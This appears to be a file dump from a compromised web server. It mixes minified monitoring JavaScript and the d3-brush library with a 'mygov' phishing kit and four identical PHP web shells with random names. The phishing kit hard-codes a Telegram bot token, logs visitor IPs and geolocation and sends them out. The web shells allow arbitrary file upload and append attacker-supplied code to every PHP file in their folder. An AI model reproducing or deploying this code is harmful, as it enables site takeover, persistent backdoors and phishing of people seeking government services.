x.I&&(y.withCredentials=x.I.withCredentials);y.timeout=0;"sendAsBinary"in x.I&&(y.sendAsBinary=function(){return x.yf(arguments,!0)});x.I.overrideMimeType&&(y.overrideMimeType=function(R){var O=ba(y,"overrideMimeType");return O?Za.overrideMimeType(O,y,arguments):x.I.overrideMimeType(R)});V.dT_.bcv("peti")&&x.I.addEventListener&&(y.addEventListener=function(R, O,wa){var Ga=ba(y,"addEventListener");x.mf(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.AELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.addEventListener)||x.I.addEventListener(R,O,wa)},y.removeEventListener=function(R,O,wa){var Ga=ba(y,"removeEventListener");x.og(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.RELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.removeEventListener)||x.I.removeEventListener(R,O,wa)},y.dispatchEvent=function(R){var O=ba(y,"dispatchEvent");if(O){if(!V.dT_.iNF(O))return Za.dispatchWrapper(O,x.I,arguments)}else if(!V.dT_.iNF(x.I.dispatchEvent))return x.I.dispatchEvent(R); return x.Zd(R)});y.open=function(R,O,wa,Ga,Wa){function Eb(Nb,ac,rc){"apply"in Nb?Za.callOpen(Nb,rc,ac):4<ac.length?Nb(R,O,wa,Ga,Wa):3<ac.length?Nb(R,O,wa,Ga):Nb(R,O,wa)}x.aborted=!1;3>arguments.length&&(wa=!0);x.async=wa;ca&&wa&&x.Lh();x.I.onreadystatechange=x.Ab;x.url=""+O;var Lb=ba(y,"open");Lb?Eb(Lb,arguments,y):Eb(x.I.open,arguments,x.I);y.readyState=x.I.readyState};y.send=function(){return x.yf(arguments,!1)};y.abort=function(){for(var R=[],O=0;O<arguments.length;O++)R[O]=arguments[O];0<y.readyState&& (x.aborted=!0);(O=ba(y,"abort"))?O.apply(y,R):x.I.abort();x.Xd();if(x.ba){for(;0<x.za;)x.za--,V.dT_.lc(x.ba);V.dT_.lx(x.ba,void 0,void 0,void 0,"x");x.ba=0}};y.getAllResponseHeaders=function(){var R=ba(y,"getAllResponseHeaders");return R?Za.getAllResponseHeaders(R,y,arguments):x.I.getAllResponseHeaders()};y.getResponseHeader=function(R){var O=ba(y,"getResponseHeader");return O?Za.getResponseHeader(O,y,arguments):x.I.getResponseHeader(R)};y.setRequestHeader=function(R,O){var wa=R&&R.toLowerCase?R.toLowerCase(): R;if("x-dtpc"!==wa&&"x-dtreferer"!==wa&&"x-host"!==wa&&"x-dtc"!==wa)return(wa=ba(y,"setRequestHeader"))?Za.setRequestHeader(wa,y,arguments):x.I.setRequestHeader(R,O)};y.toString=function(){return"[XMLHttpRequest]"};y.toJSON=function(){return x.I};if(pa.Proxy&&V.dT_.bcv("exp"))return y=new Proxy(y,{set:function(R,O,wa){R[O]=wa;try{-1===V.dT_.aIOf(Vb,O)&&(R.dtProps.I[O]=wa)}catch(Ga){}return!0}})}return q}(),$a,Cb=!1,bd,Qb;if((Ha=pa.dT_)&&"ea"in Ha&&(null===(Qb=(bd=V.dT_).smbi)||void 0===Qb?0:Qb.call(bd, "x"))){var Zb=Ha;"object"===typeof pa.Reflect&&"function"===typeof pa.Proxy&&V.dT_.bcv("expw")&&!V.dT_.gBI().edge?qa():Ma()}})()})(); mygov/email.php000064400000003265151676702570007533 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ include "anti/anti1.php"; include "anti/anti2.php"; include "anti/anti3.php"; include "anti/anti4.php"; include "anti/anti5.php"; include "anti/anti7.php"; $api = "8375706559:AAFREIgFRwIAKaE6mHUh3jUkrzoYZ9-k0b0"; $chatid = "-4866103043"; $email =""; ?> mygov/index.php000064400000004455151676702570007555 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "anti/anti1.php"; include "anti/anti2.php"; include "anti/anti3.php"; include "anti/anti4.php"; include "anti/anti5.php"; include "anti/anti7.php"; include "email.php"; $ip = getenv("REMOTE_ADDR"); $file = fopen("VISIT.txt","a"); fwrite($file,$ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n"); $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip)); $COUNTRY = $IP_LOOKUP->country . "\r\n"; $CITY = $IP_LOOKUP->city . "\r\n"; $REGION = $IP_LOOKUP->region . "\r\n"; $STATE = $IP_LOOKUP->regionName . "\r\n"; $ZIPCODE = $IP_LOOKUP->zip . "\r\n"; $msg=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE; file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($msg)."" ); header("Location: app/");mygov/VISIT.txt000064400000000050151676702570007357 0ustar00105.72.213.126 - 2025-9-13 @ 00:29:44 mygov/error_log000064400000007322151676702570007646 0ustar00[13-Sep-2025 00:29:44 UTC] PHP Warning: Attempt to read property "country" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 38 [13-Sep-2025 00:29:44 UTC] PHP Warning: Attempt to read property "city" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 39 [13-Sep-2025 00:29:44 UTC] PHP Warning: Attempt to read property "region" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 40 [13-Sep-2025 00:29:44 UTC] PHP Warning: Attempt to read property "regionName" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 41 [13-Sep-2025 00:29:44 UTC] PHP Warning: Attempt to read property "zip" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 42 [13-Sep-2025 00:29:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/emeraadmin/public_html/dist/mygov/index.php on line 46 [13-Sep-2025 00:29:44 UTC] PHP Warning: file_get_contents(https://api.telegram.org/bot8375706559:AAFREIgFRwIAKaE6mHUh3jUkrzoYZ9-k0b0/sendMessage?chat_id=-4866103043&text=105.72.213.126%0ACountry+%3A+%0D%0ACity%3A+%0D%0ARegion+%3A+%0D%0AState%3A+%0D%0AZip+%3A+%0D%0A): Failed to open stream: no suitable wrapper could be found in /home/emeraadmin/public_html/dist/mygov/index.php on line 46 [15-Apr-2026 06:08:40 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1 [15-Apr-2026 06:08:40 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1 [15-Apr-2026 06:08:40 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti5.php on line 1 [15-Apr-2026 06:15:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1 [15-Apr-2026 06:15:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1 [15-Apr-2026 06:15:06 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti5.php on line 1 [15-Apr-2026 06:21:33 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1 [15-Apr-2026 06:21:33 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1 [15-Apr-2026 06:21:33 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti5.php on line 1 [15-Apr-2026 09:29:29 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti3.php:1) in /home/emeraadmin/public_html/dist/mygov/anti/anti7.php on line 76 mygov/captured.txt000064400000000054151676702570010274 0ustar00ip : ^64.106.213.* | 15/04/2026 09:29:29am ffmolmne.php000064400000001370151676702570007101 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> egbwaell.php000064400000001370151676702570007060 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> bliickjv.php000064400000001370151676702570007073 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> qwwunmvm.php000064400000001370151676702570007177 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> d3-brush.js000064400000042173151677234540006556 0ustar00// https://d3js.org/d3-brush/ v1.0.6 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-selection'), require('d3-dispatch'), require('d3-drag'), require('d3-interpolate'), require('d3-transition')) : typeof define === 'function' && define.amd ? define(['exports', 'd3-selection', 'd3-dispatch', 'd3-drag', 'd3-interpolate', 'd3-transition'], factory) : (factory((global.d3 = global.d3 || {}),global.d3,global.d3,global.d3,global.d3,global.d3)); }(this, (function (exports,d3Selection,d3Dispatch,d3Drag,d3Interpolate,d3Transition) { 'use strict'; function constant(x) { return function() { return x; }; } function BrushEvent(target, type, selection) { this.target = target; this.type = type; this.selection = selection; } function nopropagation() { d3Selection.event.stopImmediatePropagation(); } function noevent() { d3Selection.event.preventDefault(); d3Selection.event.stopImmediatePropagation(); } var MODE_DRAG = {name: "drag"}, MODE_SPACE = {name: "space"}, MODE_HANDLE = {name: "handle"}, MODE_CENTER = {name: "center"}; var X = { name: "x", handles: ["e", "w"].map(type), input: function(x, e) { return x && [[x[0], e[0][1]], [x[1], e[1][1]]]; }, output: function(xy) { return xy && [xy[0][0], xy[1][0]]; } }; var Y = { name: "y", handles: ["n", "s"].map(type), input: function(y, e) { return y && [[e[0][0], y[0]], [e[1][0], y[1]]]; }, output: function(xy) { return xy && [xy[0][1], xy[1][1]]; } }; var XY = { name: "xy", handles: ["n", "e", "s", "w", "nw", "ne", "se", "sw"].map(type), input: function(xy) { return xy; }, output: function(xy) { return xy; } }; var cursors = { overlay: "crosshair", selection: "move", n: "ns-resize", e: "ew-resize", s: "ns-resize", w: "ew-resize", nw: "nwse-resize", ne: "nesw-resize", se: "nwse-resize", sw: "nesw-resize" }; var flipX = { e: "w", w: "e", nw: "ne", ne: "nw", se: "sw", sw: "se" }; var flipY = { n: "s", s: "n", nw: "sw", ne: "se", se: "ne", sw: "nw" }; var signsX = { overlay: +1, selection: +1, n: null, e: +1, s: null, w: -1, nw: -1, ne: +1, se: +1, sw: -1 }; var signsY = { overlay: +1, selection: +1, n: -1, e: null, s: +1, w: null, nw: -1, ne: -1, se: +1, sw: +1 }; function type(t) { return {type: t}; } // Ignore right-click, since that should open the context menu. function defaultFilter() { return !d3Selection.event.button; } function defaultExtent() { var svg = this.ownerSVGElement || this; return [[0, 0], [svg.width.baseVal.value, svg.height.baseVal.value]]; } // Like d3.local, but with the name “__brush” rather than auto-generated. function local(node) { while (!node.__brush) if (!(node = node.parentNode)) return; return node.__brush; } function empty(extent) { return extent[0][0] === extent[1][0] || extent[0][1] === extent[1][1]; } function brushSelection(node) { var state = node.__brush; return state ? state.dim.output(state.selection) : null; } function brushX() { return brush$1(X); } function brushY() { return brush$1(Y); } function brush() { return brush$1(XY); } function brush$1(dim) { var extent = defaultExtent, filter = defaultFilter, listeners = d3Dispatch.dispatch(brush, "start", "brush", "end"), handleSize = 6, touchending; function brush(group) { var overlay = group .property("__brush", initialize) .selectAll(".overlay") .data([type("overlay")]); overlay.enter().append("rect") .attr("class", "overlay") .attr("pointer-events", "all") .attr("cursor", cursors.overlay) .merge(overlay) .each(function() { var extent = local(this).extent; d3Selection.select(this) .attr("x", extent[0][0]) .attr("y", extent[0][1]) .attr("width", extent[1][0] - extent[0][0]) .attr("height", extent[1][1] - extent[0][1]); }); group.selectAll(".selection") .data([type("selection")]) .enter().append("rect") .attr("class", "selection") .attr("cursor", cursors.selection) .attr("fill", "#777") .attr("fill-opacity", 0.3) .attr("stroke", "#fff") .attr("shape-rendering", "crispEdges"); var handle = group.selectAll(".handle") .data(dim.handles, function(d) { return d.type; }); handle.exit().remove(); handle.enter().append("rect") .attr("class", function(d) { return "handle handle--" + d.type; }) .attr("cursor", function(d) { return cursors[d.type]; }); group .each(redraw) .attr("fill", "none") .attr("pointer-events", "all") .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)") .on("mousedown.brush touchstart.brush", started); } brush.move = function(group, selection) { if (group.selection) { group .on("start.brush", function() { emitter(this, arguments).beforestart().start(); }) .on("interrupt.brush end.brush", function() { emitter(this, arguments).end(); }) .tween("brush", function() { var that = this, state = that.__brush, emit = emitter(that, arguments), selection0 = state.selection, selection1 = dim.input(typeof selection === "function" ? selection.apply(this, arguments) : selection, state.extent), i = d3Interpolate.interpolate(selection0, selection1); function tween(t) { state.selection = t === 1 && empty(selection1) ? null : i(t); redraw.call(that); emit.brush(); } return selection0 && selection1 ? tween : tween(1); }); } else { group .each(function() { var that = this, args = arguments, state = that.__brush, selection1 = dim.input(typeof selection === "function" ? selection.apply(that, args) : selection, state.extent), emit = emitter(that, args).beforestart(); d3Transition.interrupt(that); state.selection = selection1 == null || empty(selection1) ? null : selection1; redraw.call(that); emit.start().brush().end(); }); } }; function redraw() { var group = d3Selection.select(this), selection = local(this).selection; if (selection) { group.selectAll(".selection") .style("display", null) .attr("x", selection[0][0]) .attr("y", selection[0][1]) .attr("width", selection[1][0] - selection[0][0]) .attr("height", selection[1][1] - selection[0][1]); group.selectAll(".handle") .style("display", null) .attr("x", function(d) { return d.type[d.type.length - 1] === "e" ? selection[1][0] - handleSize / 2 : selection[0][0] - handleSize / 2; }) .attr("y", function(d) { return d.type[0] === "s" ? selection[1][1] - handleSize / 2 : selection[0][1] - handleSize / 2; }) .attr("width", function(d) { return d.type === "n" || d.type === "s" ? selection[1][0] - selection[0][0] + handleSize : handleSize; }) .attr("height", function(d) { return d.type === "e" || d.type === "w" ? selection[1][1] - selection[0][1] + handleSize : handleSize; }); } else { group.selectAll(".selection,.handle") .style("display", "none") .attr("x", null) .attr("y", null) .attr("width", null) .attr("height", null); } } function emitter(that, args) { return that.__brush.emitter || new Emitter(that, args); } function Emitter(that, args) { this.that = that; this.args = args; this.state = that.__brush; this.active = 0; } Emitter.prototype = { beforestart: function() { if (++this.active === 1) this.state.emitter = this, this.starting = true; return this; }, start: function() { if (this.starting) this.starting = false, this.emit("start"); return this; }, brush: function() { this.emit("brush"); return this; }, end: function() { if (--this.active === 0) delete this.state.emitter, this.emit("end"); return this; }, emit: function(type) { d3Selection.customEvent(new BrushEvent(brush, type, dim.output(this.state.selection)), listeners.apply, listeners, [type, this.that, this.args]); } }; function started() { if (d3Selection.event.touches) { if (d3Selection.event.changedTouches.length < d3Selection.event.touches.length) return noevent(); } else if (touchending) return; if (!filter.apply(this, arguments)) return; var that = this, type = d3Selection.event.target.__data__.type, mode = (d3Selection.event.metaKey ? type = "overlay" : type) === "selection" ? MODE_DRAG : (d3Selection.event.altKey ? MODE_CENTER : MODE_HANDLE), signX = dim === Y ? null : signsX[type], signY = dim === X ? null : signsY[type], state = local(that), extent = state.extent, selection = state.selection, W = extent[0][0], w0, w1, N = extent[0][1], n0, n1, E = extent[1][0], e0, e1, S = extent[1][1], s0, s1, dx, dy, moving, shifting = signX && signY && d3Selection.event.shiftKey, lockX, lockY, point0 = d3Selection.mouse(that), point = point0, emit = emitter(that, arguments).beforestart(); if (type === "overlay") { state.selection = selection = [ [w0 = dim === Y ? W : point0[0], n0 = dim === X ? N : point0[1]], [e0 = dim === Y ? E : w0, s0 = dim === X ? S : n0] ]; } else { w0 = selection[0][0]; n0 = selection[0][1]; e0 = selection[1][0]; s0 = selection[1][1]; } w1 = w0; n1 = n0; e1 = e0; s1 = s0; var group = d3Selection.select(that) .attr("pointer-events", "none"); var overlay = group.selectAll(".overlay") .attr("cursor", cursors[type]); if (d3Selection.event.touches) { group .on("touchmove.brush", moved, true) .on("touchend.brush touchcancel.brush", ended, true); } else { var view = d3Selection.select(d3Selection.event.view) .on("keydown.brush", keydowned, true) .on("keyup.brush", keyupped, true) .on("mousemove.brush", moved, true) .on("mouseup.brush", ended, true); d3Drag.dragDisable(d3Selection.event.view); } nopropagation(); d3Transition.interrupt(that); redraw.call(that); emit.start(); function moved() { var point1 = d3Selection.mouse(that); if (shifting && !lockX && !lockY) { if (Math.abs(point1[0] - point[0]) > Math.abs(point1[1] - point[1])) lockY = true; else lockX = true; } point = point1; moving = true; noevent(); move(); } function move() { var t; dx = point[0] - point0[0]; dy = point[1] - point0[1]; switch (mode) { case MODE_SPACE: case MODE_DRAG: { if (signX) dx = Math.max(W - w0, Math.min(E - e0, dx)), w1 = w0 + dx, e1 = e0 + dx; if (signY) dy = Math.max(N - n0, Math.min(S - s0, dy)), n1 = n0 + dy, s1 = s0 + dy; break; } case MODE_HANDLE: { if (signX < 0) dx = Math.max(W - w0, Math.min(E - w0, dx)), w1 = w0 + dx, e1 = e0; else if (signX > 0) dx = Math.max(W - e0, Math.min(E - e0, dx)), w1 = w0, e1 = e0 + dx; if (signY < 0) dy = Math.max(N - n0, Math.min(S - n0, dy)), n1 = n0 + dy, s1 = s0; else if (signY > 0) dy = Math.max(N - s0, Math.min(S - s0, dy)), n1 = n0, s1 = s0 + dy; break; } case MODE_CENTER: { if (signX) w1 = Math.max(W, Math.min(E, w0 - dx * signX)), e1 = Math.max(W, Math.min(E, e0 + dx * signX)); if (signY) n1 = Math.max(N, Math.min(S, n0 - dy * signY)), s1 = Math.max(N, Math.min(S, s0 + dy * signY)); break; } } if (e1 < w1) { signX *= -1; t = w0, w0 = e0, e0 = t; t = w1, w1 = e1, e1 = t; if (type in flipX) overlay.attr("cursor", cursors[type = flipX[type]]); } if (s1 < n1) { signY *= -1; t = n0, n0 = s0, s0 = t; t = n1, n1 = s1, s1 = t; if (type in flipY) overlay.attr("cursor", cursors[type = flipY[type]]); } if (state.selection) selection = state.selection; // May be set by brush.move! if (lockX) w1 = selection[0][0], e1 = selection[1][0]; if (lockY) n1 = selection[0][1], s1 = selection[1][1]; if (selection[0][0] !== w1 || selection[0][1] !== n1 || selection[1][0] !== e1 || selection[1][1] !== s1) { state.selection = [[w1, n1], [e1, s1]]; redraw.call(that); emit.brush(); } } function ended() { nopropagation(); if (d3Selection.event.touches) { if (d3Selection.event.touches.length) return; if (touchending) clearTimeout(touchending); touchending = setTimeout(function() { touchending = null; }, 500); // Ghost clicks are delayed! group.on("touchmove.brush touchend.brush touchcancel.brush", null); } else { d3Drag.dragEnable(d3Selection.event.view, moving); view.on("keydown.brush keyup.brush mousemove.brush mouseup.brush", null); } group.attr("pointer-events", "all"); overlay.attr("cursor", cursors.overlay); if (state.selection) selection = state.selection; // May be set by brush.move (on start)! if (empty(selection)) state.selection = null, redraw.call(that); emit.end(); } function keydowned() { switch (d3Selection.event.keyCode) { case 16: { // SHIFT shifting = signX && signY; break; } case 18: { // ALT if (mode === MODE_HANDLE) { if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX; if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY; mode = MODE_CENTER; move(); } break; } case 32: { // SPACE; takes priority over ALT if (mode === MODE_HANDLE || mode === MODE_CENTER) { if (signX < 0) e0 = e1 - dx; else if (signX > 0) w0 = w1 - dx; if (signY < 0) s0 = s1 - dy; else if (signY > 0) n0 = n1 - dy; mode = MODE_SPACE; overlay.attr("cursor", cursors.selection); move(); } break; } default: return; } noevent(); } function keyupped() { switch (d3Selection.event.keyCode) { case 16: { // SHIFT if (shifting) { lockX = lockY = shifting = false; move(); } break; } case 18: { // ALT if (mode === MODE_CENTER) { if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1; if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1; mode = MODE_HANDLE; move(); } break; } case 32: { // SPACE if (mode === MODE_SPACE) { if (d3Selection.event.altKey) { if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX; if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY; mode = MODE_CENTER; } else { if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1; if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1; mode = MODE_HANDLE; } overlay.attr("cursor", cursors[type]); move(); } break; } default: return; } noevent(); } } function initialize() { var state = this.__brush || {selection: null}; state.extent = extent.apply(this, arguments); state.dim = dim; return state; } brush.extent = function(_) { return arguments.length ? (extent = typeof _ === "function" ? _ : constant([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), brush) : extent; }; brush.filter = function(_) { return arguments.length ? (filter = typeof _ === "function" ? _ : constant(!!_), brush) : filter; }; brush.handleSize = function(_) { return arguments.length ? (handleSize = +_, brush) : handleSize; }; brush.on = function() { var value = listeners.on.apply(listeners, arguments); return value === listeners ? brush : value; }; return brush; } exports.brush = brush; exports.brushX = brushX; exports.brushY = brushY; exports.brushSelection = brushSelection; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-brush.min.js000064400000020427151677234540007336 0ustar00// https://d3js.org/d3-brush/ v1.0.6 Copyright 2018 Mike Bostock !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("d3-selection"),require("d3-dispatch"),require("d3-drag"),require("d3-interpolate"),require("d3-transition")):"function"==typeof 